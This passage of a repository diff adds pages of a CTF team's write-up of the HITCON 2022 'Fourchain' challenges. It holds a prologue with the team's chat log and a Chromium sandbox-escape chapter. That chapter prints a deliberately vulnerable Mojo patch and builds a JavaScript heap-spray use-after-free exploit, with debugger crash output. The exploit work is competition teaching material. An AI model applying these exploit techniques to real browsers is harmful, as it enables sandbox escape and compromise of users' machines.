thread_note_edit, mem + 0x1000); + usleep(20000); + note_edit(0, mem + 0x2000); + puts("done"); + sleep(1000000); +} +``` + +## Table of Contents + +- [Prologue](./fourchain-prologue): Introduction +- [Chapter 1: Hole](./fourchain-hole): Using the "hole" to pwn the V8 heap and some delicious Swiss cheese. +- [Chapter 2: Sandbox](./fourchain-sandbox): Pwning the Chrome Sandbox using `Sandbox`. +- **[Chapter 3: Kernel](./fourchain-kernel) (You are here)** +- [Chapter 4: Hypervisor](./fourchain-hv): Lord of the MMIO: A Journey to IEM +- [Chapter 5: One for All](./fourchain-fullchain): Uncheesing a Challenge and GUI Troubles +- [Epilogue](./fourchain-epilogue): Closing thoughts diff --git a/HITCON-2022/pwn/fourchain-prologue.html b/HITCON-2022/pwn/fourchain-prologue.html new file mode 100755 index 0000000..cebffa8 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-prologue.html @@ -0,0 +1,272 @@ + + + + + +Fourchain - Prologue | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - Prologue

+ +
+

Nspace — 11/27/2022 5:34 AM

+ +

  we have the browser chain

+ +

gallileo [flagbot] — 11/27/2022 5:39 AM

+ +

  I think we are ready for remote

+ +

  2-3 minutes for vm to launch

+ +

david — 11/27/2022 5:40 AM

+ +

  hell yeah

+ +

Nspace — 11/27/2022 5:41 AM

+ +

  we have a shell on the vm

+ +

  root on the vm

+ +

The Organizer — 11/27/2022 5:43 AM

+ +

  The flag: hitcon{G00dbY3_1_4_O_h3LL0_Pwn_2_Own_BTW_vB0x_Y_U_N0_SM3P_SM4P_??!!}

+ +

gallileo [flagbot] — 11/27/2022 5:43 AM

+ +

  first try everything and first blood

+ +

  didnt have to restart a single exploit 🙂

+ +
+ +

The discord convo during our solve of the final fullchain challenge, does not do our emotions justice ;) Probably the longest and most exhilarating exploit I have ran.

+ +

Introduction

+ +

Fourchain was a series of four1 challenges released during HITCON 22 CTF. +After the CHAOS series from last year’s edition, we thought it would be hard to top that. +However, the good people at HITCON managed to do it and I can confidently say that this series of challenges was the best pwnables I have encountered so far. +Not only were they quite fun and insanely challenging, they also showcased that CTF challenges are not just simple exercises, but reflect the actual real world (more on that later). +What follows are writeups of the four separate parts, followed by the fullchain and finally some closing thoughts. +If you follow along, you should be able to create your own exploit, going from javascript code execution to escaping the hypervisor, just like seen below ;)

+ + + +

Table of Contents

+ +

Since the different stages are mostly independent, you can read them in any order. +However, to understand the fullchain, it makes sense to first have read all of the other ones. +The chapters are as follows:

+ + + +
+
    +
  1. +

    Technically five, but the fifth challenge “just” consisted of chaining the other four together. 

    +
  2. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-prologue.md b/HITCON-2022/pwn/fourchain-prologue.md new file mode 100755 index 0000000..a8dbf01 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-prologue.md @@ -0,0 +1,64 @@ +# Fourchain - Prologue + +> Nspace — 11/27/2022 5:34 AM +> +>   we have the browser chain +> +> gallileo [flagbot] — 11/27/2022 5:39 AM +> +>   I think we are ready for remote +> +>   2-3 minutes for vm to launch +> +> david — 11/27/2022 5:40 AM +> +>   hell yeah +> +> Nspace — 11/27/2022 5:41 AM +> +>   we have a shell on the vm +> +>   root on the vm +> +> The Organizer — 11/27/2022 5:43 AM +> +>   The flag: `hitcon{G00dbY3_1_4_O_h3LL0_Pwn_2_Own_BTW_vB0x_Y_U_N0_SM3P_SM4P_??!!}` +> +> gallileo [flagbot] — 11/27/2022 5:43 AM +> +>   first try everything and first blood +> +>   didnt have to restart a single exploit 🙂 +> + +#### The discord convo during our solve of the final fullchain challenge, does not do our emotions justice ;) Probably the longest and most exhilarating exploit I have ran. + +## Introduction + +Fourchain was a series of four[^1] challenges released during HITCON 22 CTF. +After the [CHAOS series from last year's edition](../../HITCON-2021/pwn/chaos), we thought it would be hard to top that. +However, the good people at HITCON managed to do it and I can confidently say that this series of challenges was the best pwnables I have encountered so far. +Not only were they quite fun and insanely challenging, they also showcased that CTF challenges are not just simple exercises, but reflect the actual real world (more on that later). +What follows are writeups of the four separate parts, followed by the fullchain and finally some closing thoughts. +If you follow along, you should be able to create your own exploit, going from javascript code execution to escaping the hypervisor, just like seen below ;) + +[^1]: Technically five, but the fifth challenge "just" consisted of chaining the other four together. + + + +## Table of Contents + +Since the different stages are mostly independent, you can read them in any order. +However, to understand the fullchain, it makes sense to first have read all of the other ones. +The chapters are as follows: + +- **[Prologue](./fourchain-prologue) (You are here)** +- [Chapter 1: Hole](./fourchain-hole): Using the "hole" to pwn the V8 heap and some delicious Swiss cheese. +- [Chapter 2: Sandbox](./fourchain-sandbox): Pwning the Chrome Sandbox using `Sandbox`. +- [Chapter 3: Kernel](./fourchain-kernel): Chaining the Cross-Cache Cred Change +- [Chapter 4: Hypervisor](./fourchain-hv): Lord of the MMIO: A Journey to IEM +- [Chapter 5: One for All](./fourchain-fullchain): Uncheesing a Challenge and GUI Troubles +- [Epilogue](./fourchain-epilogue): Closing thoughts + diff --git a/HITCON-2022/pwn/fourchain-sandbox.html b/HITCON-2022/pwn/fourchain-sandbox.html new file mode 100755 index 0000000..6919a29 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-sandbox.html @@ -0,0 +1,1018 @@ + + + + + +Fourchain - Sandbox | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - Sandbox

+ +

Authors: Nspace

+ +

Tags: pwn, browser, sandbox

+ +

Points: 384

+ +
+

Pouring sand into boxes ? How boring is that 🥱

+
+ +

Analysis

+ +

In this challenge the authors open a webpage with contents controlled by us with a vulnerable version of Chromium. The challenge simulates a compromised renderer process by giving JavaScript code access to Chromium’s Mojo IPC (--enable-blink-features=MojoJS) and the flag is in a file that is not accessible from inside the sandbox. This means that we have to find a way to escape the sandbox by using the Mojo APIs.

+ +

As with the V8 challenge, we are given a patch that introduces the vulnerability that we have to exploit:

+ +
diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
+index 0e81bb6da44ce..ba8af9ad8a3a9 100644
+--- a/content/browser/BUILD.gn
++++ b/content/browser/BUILD.gn
+@@ -2282,6 +2282,8 @@ source_set("browser") {
+     "worker_host/worker_script_loader.h",
+     "worker_host/worker_script_loader_factory.cc",
+     "worker_host/worker_script_loader_factory.h",
++    "sandbox/sandbox_impl.h",
++    "sandbox/sandbox_impl.cc",
+   ]
+ 
+   # TODO(crbug.com/1327384): Remove `permissions_common`.
+diff --git a/content/browser/browser_interface_binders.cc b/content/browser/browser_interface_binders.cc
+index d0e12faf3f16a..0f599997dbb5f 100644
+--- a/content/browser/browser_interface_binders.cc
++++ b/content/browser/browser_interface_binders.cc
+@@ -14,6 +14,7 @@
+ #include "build/branding_buildflags.h"
+ #include "build/build_config.h"
+ #include "cc/base/switches.h"
++#include "content/browser/sandbox/sandbox_impl.h"
+ #include "content/browser/aggregation_service/aggregation_service_internals.mojom.h"
+ #include "content/browser/aggregation_service/aggregation_service_internals_ui.h"
+ #include "content/browser/attribution_reporting/attribution_internals.mojom.h"
+@@ -110,6 +111,7 @@
+ #include "storage/browser/quota/quota_manager_proxy.h"
+ #include "third_party/blink/public/common/features.h"
+ #include "third_party/blink/public/common/storage_key/storage_key.h"
++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h"
+ #include "third_party/blink/public/mojom/background_fetch/background_fetch.mojom.h"
+ #include "third_party/blink/public/mojom/background_sync/background_sync.mojom.h"
+ #include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h"
+@@ -982,6 +984,8 @@ void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) {
+   map->Add<blink::mojom::RenderAccessibilityHost>(
+       base::BindRepeating(&RenderFrameHostImpl::BindRenderAccessibilityHost,
+                           base::Unretained(host)));
++  map->Add<blink::mojom::Sandbox>(base::BindRepeating(
++      &RenderFrameHostImpl::CreateSandbox, base::Unretained(host)));
+ }
+ 
+ void PopulateBinderMapWithContext(
+diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
+index 142c6d093d80a..9f12815bf1def 100644
+--- a/content/browser/renderer_host/render_frame_host_impl.cc
++++ b/content/browser/renderer_host/render_frame_host_impl.cc
+@@ -2004,6 +2004,11 @@ RenderFrameHostImpl::~RenderFrameHostImpl() {
+   TRACE_EVENT_END("navigation", perfetto::Track::FromPointer(this));
+ }
+ 
++void RenderFrameHostImpl::CreateSandbox(
++    mojo::PendingReceiver<blink::mojom::Sandbox> receiver) {
++  SandboxImpl::Create(std::move(receiver));
++}
++
+ int RenderFrameHostImpl::GetRoutingID() const {
+   return routing_id_;
+ }
+diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h
+index c9c0155bc626e..11329de446f78 100644
+--- a/content/browser/renderer_host/render_frame_host_impl.h
++++ b/content/browser/renderer_host/render_frame_host_impl.h
+@@ -37,6 +37,7 @@
+ #include "base/types/pass_key.h"
+ #include "base/unguessable_token.h"
+ #include "build/build_config.h"
++#include "content/browser/sandbox/sandbox_impl.h"
+ #include "content/browser/accessibility/browser_accessibility_manager.h"
+ #include "content/browser/accessibility/web_ax_platform_tree_manager_delegate.h"
+ #include "content/browser/bad_message.h"
+@@ -140,6 +141,7 @@
+ #include "third_party/blink/public/mojom/portal/portal.mojom-forward.h"
+ #include "third_party/blink/public/mojom/presentation/presentation.mojom-forward.h"
+ #include "third_party/blink/public/mojom/render_accessibility.mojom.h"
++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h"
+ #include "third_party/blink/public/mojom/security_context/insecure_request_policy.mojom-forward.h"
+ #include "third_party/blink/public/mojom/sms/webotp_service.mojom-forward.h"
+ #include "third_party/blink/public/mojom/speech/speech_synthesis.mojom-forward.h"
+@@ -1815,6 +1817,9 @@ class CONTENT_EXPORT RenderFrameHostImpl
+   // Returns true if the frame is frozen.
+   bool IsFrozen();
+ 
++  void CreateSandbox(
++      mojo::PendingReceiver<blink::mojom::Sandbox> receiver);
++
+   // Set the `frame_` for sending messages to the renderer process.
+   void SetMojomFrameRemote(mojo::PendingAssociatedRemote<mojom::Frame>);
+ 
+diff --git a/content/browser/sandbox/sandbox_impl.cc b/content/browser/sandbox/sandbox_impl.cc
+new file mode 100644
+index 0000000000000..b03840e655d7d
+--- /dev/null
++++ b/content/browser/sandbox/sandbox_impl.cc
+@@ -0,0 +1,59 @@
++#include "content/browser/sandbox/sandbox_impl.h"
++#include "mojo/public/cpp/bindings/self_owned_receiver.h"
++#include "content/public/browser/browser_task_traits.h"
++#include "content/public/browser/browser_thread.h"
++
++namespace content {
++
++    size_t SandboxImpl::cnt = 0;
++
++    SandboxImpl::SandboxImpl() {
++        this->isProcess_ = false;
++        this->id_ = SandboxImpl::cnt;
++        SandboxImpl::cnt++;
++        memset(this->box_, 0, sizeof(this->box_));
++    }
++
++    SandboxImpl::~SandboxImpl() {
++        SandboxImpl::cnt--;
++    }
++
++    // static
++    void SandboxImpl::Create(
++        mojo::PendingReceiver<blink::mojom::Sandbox> receiver) {
++      auto self = std::make_unique<SandboxImpl>();
++      mojo::MakeSelfOwnedReceiver(std::move(self), std::move(receiver));
++    }
++
++    void SandboxImpl::GetTextAddress(GetTextAddressCallback callback) {
++        std::move(callback).Run((uint64_t)(&SandboxImpl::Create));
++    }
++
++    void SandboxImpl::GetHeapAddress(GetHeapAddressCallback callback) {
++        std::move(callback).Run((uint64_t)(this));
++    }
++
++    void SandboxImpl::PourSand(const std::vector<uint8_t>& sand) {
++        if ( this->isProcess_ || sand.size() > 0x1100 )  return;
++
++        this->isProcess_ = true;
++        content::GetIOThreadTaskRunner({})->PostTask(
++            FROM_HERE,  
++            base::BindOnce(&SandboxImpl::Pour, base::Unretained(this), sand)
++        );
++    }
++
++    void SandboxImpl::Pour(const std::vector<uint8_t>& sand) {
++        size_t sand_sz = sand.size(), i = 0;
++        if (sand_sz > 0x800) {
++            std::vector<uint8_t> sand_for_box(sand.begin(), sand.begin()+0x800);
++            this->backup_ = std::make_unique<std::vector<uint8_t>>(sand.begin()+0x800, sand.end());
++            this->PourSand(sand_for_box);
++        } else {
++            for ( i = 0 ; i < sand_sz ; i++) {
++                this->box_[i] = sand[i];
++            }
++        }
++        this->isProcess_ = false;
++    }
++} // namespace content
+diff --git a/content/browser/sandbox/sandbox_impl.h b/content/browser/sandbox/sandbox_impl.h
+new file mode 100644
+index 0000000000000..81affb5a7f7dc
+--- /dev/null
++++ b/content/browser/sandbox/sandbox_impl.h
+@@ -0,0 +1,33 @@
++#ifndef CONTENT_BROWSER_SANDBOX_IMPL_H_
++#define CONTENT_BROWSER_SANDBOX_IMPL_H_
++
++#include <cstdint>
++#include <iostream>
++
++#include "content/common/content_export.h"
++#include "third_party/blink/public/mojom/sandbox/sandbox.mojom.h"
++
++namespace content {
++
++    class CONTENT_EXPORT SandboxImpl : public blink::mojom::Sandbox {
++        public:
++            static size_t cnt;
++            SandboxImpl();
++            ~SandboxImpl() override;
++            static void Create(
++                    mojo::PendingReceiver<blink::mojom::Sandbox> receiver);
++
++            void GetTextAddress(GetTextAddressCallback callback) override;
++            void GetHeapAddress(GetHeapAddressCallback callback) override;
++            void PourSand(const std::vector<uint8_t>& sand) override;
++
++        private:
++            void Pour(const std::vector<uint8_t>& sand);
++            size_t id_;
++            bool isProcess_;
++            uint8_t box_[0x800];
++            std::unique_ptr<std::vector<uint8_t>> backup_; 
++    };
++}  // namespace content
++
++#endif
+diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn
+index 92fac884e82f5..6678a9d9876ac 100644
+--- a/third_party/blink/public/mojom/BUILD.gn
++++ b/third_party/blink/public/mojom/BUILD.gn
+@@ -228,6 +228,7 @@ mojom("mojom_platform") {
+     "worker/worker_content_settings_proxy.mojom",
+     "worker/worker_main_script_load_params.mojom",
+     "worker/worker_options.mojom",
++    "sandbox/sandbox.mojom",
+   ]
+ 
+   if (is_android) {
+diff --git a/third_party/blink/public/mojom/sandbox/sandbox.mojom b/third_party/blink/public/mojom/sandbox/sandbox.mojom
+new file mode 100644
+index 0000000000000..030ce033b377e
+--- /dev/null
++++ b/third_party/blink/public/mojom/sandbox/sandbox.mojom
+@@ -0,0 +1,7 @@
++module blink.mojom;
++
++interface Sandbox {
++    GetTextAddress() => (uint64 addr);
++    GetHeapAddress() => (uint64 addr);
++    PourSand(array<uint8> sand);
++};
+
+ +

We can see that the author added a new Mojo service that our exploit can access from the compromised renderer. The service exposes 3 methods to the renderer: GetTextAddress, GetHeapAddress, and PourSand. We can invoke these methods and get their results from JavaScript, after importing the JavaScript bindings.

+ +
interface Sandbox {
+    GetTextAddress() => (uint64 addr);
+    GetHeapAddress() => (uint64 addr);
+    PourSand(array<uint8> sand);
+};
+
+ +
<html>
+<head>
+
+<script src="http://chain.galli.me:8080/mojo/mojo_bindings.js"></script>
+<script src="http://chain.galli.me:8080/mojo/third_party/blink/public/mojom/sandbox/sandbox.mojom.js"></script>
+
+<script>
+let printbuf = [];
+function print(msg) {
+  printbuf.push(msg);
+}
+
+async function uploadLogs() {
+  await fetch('http://chain.galli.me:8080/logs', {
+    method: 'POST',
+    body: printbuf.join('\n'),
+  });
+}
+
+function hex(x) {
+  return `0x${x.toString(16)}`;
+}
+
+async function pwn() {
+  let sandbox = new blink.mojom.SandboxPtr();
+  Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(sandbox).handle);
+  print(`Result: ${hex((await sandbox.getHeapAddress()).addr)}`);
+
+  await uploadLogs();
+}
+
+pwn();
+</script>
+</head>
+</html>
+
+ +
Result: 0x16f8003f1600
+
+ +

The implementations of the first two methods are straightforward and only give us some “free” pointer leaks:

+ +
void SandboxImpl::GetTextAddress(GetTextAddressCallback callback) {
+    std::move(callback).Run((uint64_t)(&SandboxImpl::Create));
+}
+
+void SandboxImpl::GetHeapAddress(GetHeapAddressCallback callback) {
+    std::move(callback).Run((uint64_t)(this));
+}
+
+ +

The implementation of PourSand is the interesting part:

+ +
void SandboxImpl::PourSand(const std::vector<uint8_t>& sand) {
+    if ( this->isProcess_ || sand.size() > 0x1100 )  return;
+    this->isProcess_ = true;
+    content::GetIOThreadTaskRunner({})->PostTask(
+        FROM_HERE,  
+        base::BindOnce(&SandboxImpl::Pour, base::Unretained(this), sand)
+    );
+}
+
+void SandboxImpl::Pour(const std::vector<uint8_t>& sand) {
+    size_t sand_sz = sand.size(), i = 0;
+    if (sand_sz > 0x800) {
+        std::vector<uint8_t> sand_for_box(sand.begin(), sand.begin()+0x800);
+        this->backup_ = std::make_unique<std::vector<uint8_t>>(sand.begin()+0x800, sand.end());
+        this->PourSand(sand_for_box);
+    } else {
+        for ( i = 0 ; i < sand_sz ; i++) {
+            this->box_[i] = sand[i];
+        }
+    }
+    this->isProcess_ = false;
+}
+
+ +

The first thing that stands out is that PourSand doesn’t directly call Pour and instead posts a task that runs Pour to the I/O thread’s task queue and returns immediately. This means that Pour might only be called later, after PourSand returns, if the I/O thread is busy. This creates some object lifetime issues: what if the SandboxImpl instance (or sand) is gone by the time the task is executed? The code needs to make sure that both remain alive at least until Pour finishes executing.

+ +

The chromium docs for BindOnce say this about lifetime management:

+ +
+

By default base::Bind{Once, Repeating}() will store copies of all bound parameters, and attempt to refcount a target object if the function being bound is a class method. These copies are created even if the function takes parameters as const references.

+ +

To change this behavior, we introduce a set of argument wrappers (e.g., base::Unretained()). These are simple container templates that are passed by value, and wrap a pointer to argument. Each helper has a comment describing it in base/bind.h.

+
+ +

So it appears that the contents of sand are copied and the copy is passed to Pour because sand is a const reference. But what about this? According to the documentation the default behavior would be to increment its refcount, but here the code is using base::Unretained which changes this. Let’s check chromium’s documentation for that:

+ +
// Unretained() allows binding a non-refcounted class, and to disable
+// refcounting on arguments that are refcounted objects.
+
+ +
+

If a callback bound to a class method does not need cancel-on-destroy semantics (because there is some external guarantee that the class instance will always be live when running the callback), then use base::Unretained(). It is often a good idea to add a brief comment to explain why base::Unretained() is safe in this context; if nothing else, for future code archaeologists trying to fix a use-after-free bug.

+
+ +

base::Unretained disables refcounting and represents a promise from the caller that the object will remain alive until the callback finally runs. As the documentation notes, it can cause a use-after-free if not used carefully, and it looks like the challenge code might be vulnerable to this. This gives us a potential use-after-free on a SandboxImpl.

+ +

Exploitation

+ +

In order to exploit the vulnerability the following things would have to happen, in order:

+ +
    +
  1. +

    Our exploit calls PourSand on a SandboxImpl (let’s call this a). This enqueues the call to a->Pour on the I/O thread.

    +
  2. +
  3. +

    a gets freed.

    +
  4. +
  5. +

    Our exploit reclaims a’s memory with a different object whose contents we control.

    +
  6. +
  7. +

    Pour runs with this pointing to controlled memory.

    +
  8. +
+ +

Freeing a is easy, we can do it from JavaScript by calling .reset() on the handle.

+ +
let sandbox = new blink.mojom.SandboxPtr();
+// Free the SandboxImpl
+sandbox.ptr.reset();
+
+ +

Spraying should also be pretty easy because Pour conveniently creates a std::vector<uint8_t> with controlled data and size when sand is bigger than 0x800 bytes. All we need is a way to delay the execution of a freed SandboxImpl’s Pour callback. One idea is to post a lot of tasks to the I/O thread by calling PourSand over and over, and then free our target while the I/O thread is busy processing the callbacks:

+ +
function newClient() {
+  let iface = new blink.mojom.SandboxPtr();
+  Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(iface).handle);
+
+  return iface;
+}
+
+async function pwn() {
+  let clients = [];
+  for (let i = 0; i < 1000; i++) {
+    clients.push(newClient());
+  }
+
+  let spray = [];
+  for (let i = 0; i < 100; i++) {
+    spray.push(newClient());
+  }
+
+  let iface = newClient();
+
+  // sizeof(class SandboxImpl) + 0x800
+  let arg = new Uint8Array(0x1020);
+  arg.fill(0x41);
+
+  // Enqueue a lot of tasks on the I/O thread
+  for (let i = 0; i < clients.length; i++) {
+    clients[i].pourSand(arg);
+  }
+
+  for (let i = 0; i < 100; i++) {
+    iface.pourSand(arg);
+    iface.ptr.reset();
+    iface = newClient();
+  }
+
+  for (let i = 0; i < spray.length; i++) {
+    spray[i].pourSand(arg);
+  }
+
+  print('done');
+}
+
+pwn();
+
+ +

If we run this we get a very promising-looking crash:

+ +
Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault.
+[Switching to Thread 0x7ffff1504640 (LWP 12533)]
+reset () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:281
+281	      __ptr_.second()(__tmp);
+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
+───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
+*RAX  0x2a8000ef7620 ◂— 0x0
+*RBX  0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA')
+ RCX  0x41
+*RDX  0x2a8000ef7600 ◂— 0x4141414141414141 ('AAAAAAAA')
+*RDI  0x2a8001181aa0 —▸ 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA')
+*RSI  0x800
+*R8   0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA')
+*R9   0x7ffff1502ec4 ◂— 0x6e4ac20038323134 /* '4128' */
+ R10  0x0
+ R11  0x293
+*R12  0x2a8000285000 ◂— 0x4141414141414141 ('AAAAAAAA')
+*R13  0x2a8000286020 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+*R14  0x2a8000ef7620 ◂— 0x0
+*R15  0x4141414141414141 ('AAAAAAAA')
+ RBP  0x7ffff1503040 —▸ 0x7ffff15030d0 —▸ 0x7ffff1503350 —▸ 0x7ffff1503400 —▸ 0x7ffff1503420 ◂— ...
+ RSP  0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000
+*RIP  0x55555b7b2132 ◂— mov rdi, qword ptr [r15]
+────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────
+ ► 0x55555b7b2132    mov    rdi, qword ptr [r15]
+   0x55555b7b2135    test   rdi, rdi
+   0x55555b7b2138    je     0x55555b7b2159                <0x55555b7b2159>
+    ↓
+   0x55555b7b2159    mov    rdi, r15
+   0x55555b7b215c    call   free                <free>
+
+   0x55555b7b2161    mov    rax, qword ptr [rbx]
+   0x55555b7b2164    lea    rsi, [rbp - 0x40]
+   0x55555b7b2168    mov    rdi, rbx
+   0x55555b7b216b    call   qword ptr [rax + 0x20]
+
+   0x55555b7b216e    mov    rdi, qword ptr [rbp - 0x40]
+   0x55555b7b2172    test   rdi, rdi
+─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
+00:0000│ rsp 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000
+01:0008│     0x7ffff1502ff8 —▸ 0x2a8001181aa0 —▸ 0x2a8000ef6e00 ◂— 0x4141414141414141 ('AAAAAAAA')
+02:0010│     0x7ffff1503000 —▸ 0x2a80003dd800 ◂— 0x4141414141414141 ('AAAAAAAA')
+03:0018│     0x7ffff1503008 —▸ 0x2a80003de000 ◂— 0x6400000000
+04:0020│     0x7ffff1503010 —▸ 0x2a80003de000 ◂— 0x6400000000
+05:0028│     0x7ffff1503018 —▸ 0x2a8000348000 ◂— 0x0
+06:0030│     0x7ffff1503020 —▸ 0x7ffff15030f0 —▸ 0x5555636cb400 (base::DefaultTickClock::GetInstance()::default_tick_clock) —▸ 0x555562f48590 —▸ 0x555558e19a90 ◂— ...
+07:0038│     0x7ffff1503028 —▸ 0x2a8000314780 —▸ 0x55556304c550 —▸ 0x55555cffbe60 (base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::~ThreadControllerWithMessagePumpImpl()) ◂— push rbp
+───────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
+ ► f 0   0x55555b7b2132
+   f 1   0x55555b7b2132
+   f 2   0x55555b7b2132
+   f 3   0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257
+   f 4   0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257
+   f 5   0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277
+   f 6   0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277
+   f 7   0x55555cffcc1f base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+127
+────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+pwndbg> bt
+#0  reset () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:281
+#1  operator= () at ../../buildtools/third_party/libc++/trunk/include/__memory/unique_ptr.h:215
+#2  Pour() () at ../../content/browser/sandbox/sandbox_impl.cc:59
+#3  0x000055555cfe4fe1 in Run () at ../../base/functional/callback.h:152
+#4  RunTaskImpl() () at ../../base/task/common/task_annotator.cc:156
+#5  0x000055555cffd32d in RunTask<(lambda at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:451:11)> () at ../../base/task/common/task_annotator.h:85
+#6  DoWorkImpl() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:449
+#7  0x000055555cffcc1f in DoWork() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:300
+#8  0x000055555cffdab5 in non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ()
+#9  0x000055555d056723 in Run() () at ../../base/message_loop/message_pump_libevent.cc:292
+#10 0x000055555cffde0b in Run() () at ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:609
+#11 0x000055555cfc3e19 in Run() () at ../../base/run_loop.cc:141
+#12 0x000055555d01d0f8 in base::Thread::Run(base::RunLoop*) () at ../../base/threading/thread.cc:338
+#13 0x000055555b138a60 in content::BrowserProcessIOThread::IOThreadRun(base::RunLoop*) () at ../../content/browser/browser_process_io_thread.cc:119
+#14 0x000055555d01d217 in ThreadMain() () at ../../base/threading/thread.cc:408
+#15 0x000055555d0449af in ThreadFunc() () at ../../base/threading/platform_thread_posix.cc:103
+#16 0x00007ffff7168b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
+#17 0x00007ffff71faa00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
+
+pwndbg> tele $r15
+<Could not read memory at 0x4141414141414141>
+
+ +

It looks like Chromium is crashing in Pour where it assigns the new std::vector to this->backup_. This almost certainly happens because we’ve reclaimed the the object with our spray and so the code thinks that this->backup_ already points to an object which must be freed. This is a good crash because it shows that we can indeed reclaim the freed object with controlled data, but it would much more useful if we could reach the following line which has a virtual function call. We can fix this crash by spraying a fake SandboxImpl that has backup_ set to nullptr instead of 0x4141414141414141.

+ +
let clients = [];
+for (let i = 0; i < 1000; i++) {
+  clients.push(newClient());
+}
+
+let spray = [];
+for (let i = 0; i < 100; i++) {
+  spray.push(newClient());
+}
+
+let iface = newClient();
+
+let arg2 = new BigUint64Array(0x1020 / 8);
+arg2.fill(0x4141414141414141n);
+arg2[0x800 / 8 + 0x818 / 8] = 0n;
+let arg = new Uint8Array(arg2.buffer);
+
+for (let i = 0; i < clients.length; i++) {
+  clients[i].pourSand(arg);
+}
+
+for (let i = 0; i < 100; i++) {
+  iface.pourSand(arg);
+  iface.ptr.reset();
+  iface = newClient();
+}
+
+for (let i = 0; i < spray.length; i++) {
+  spray[i].pourSand(arg);
+}
+
+ +
Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault.
+[Switching to Thread 0x7ffff1504640 (LWP 12689)]
+0x000055555b7b216b in Pour () at ../../content/browser/sandbox/sandbox_impl.cc:60
+60	            this->PourSand(sand_for_box);
+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
+───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
+*RAX  0x4141414141414141 ('AAAAAAAA')
+*RBX  0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA')
+ RCX  0x0
+*RDX  0x12c000ee8000 ◂— 0x4141414141414141 ('AAAAAAAA')
+*RDI  0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA')
+ RSI  0x7ffff1503000 —▸ 0x12c0003dd800 ◂— 0x4141414141414141 ('AAAAAAAA')
+*R8   0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA')
+ R9   0x7ffff1502ec4 ◂— 0x4abb410038323134 /* '4128' */
+ R10  0x0
+ R11  0x293
+*R12  0x12c000285000 ◂— 0x4141414141414141 ('AAAAAAAA')
+*R13  0x12c000286020 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+*R14  0x12c000ee8020 ◂— 0x0
+ R15  0x0
+ RBP  0x7ffff1503040 —▸ 0x7ffff15030d0 —▸ 0x7ffff1503350 —▸ 0x7ffff1503400 —▸ 0x7ffff1503420 ◂— ...
+ RSP  0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000
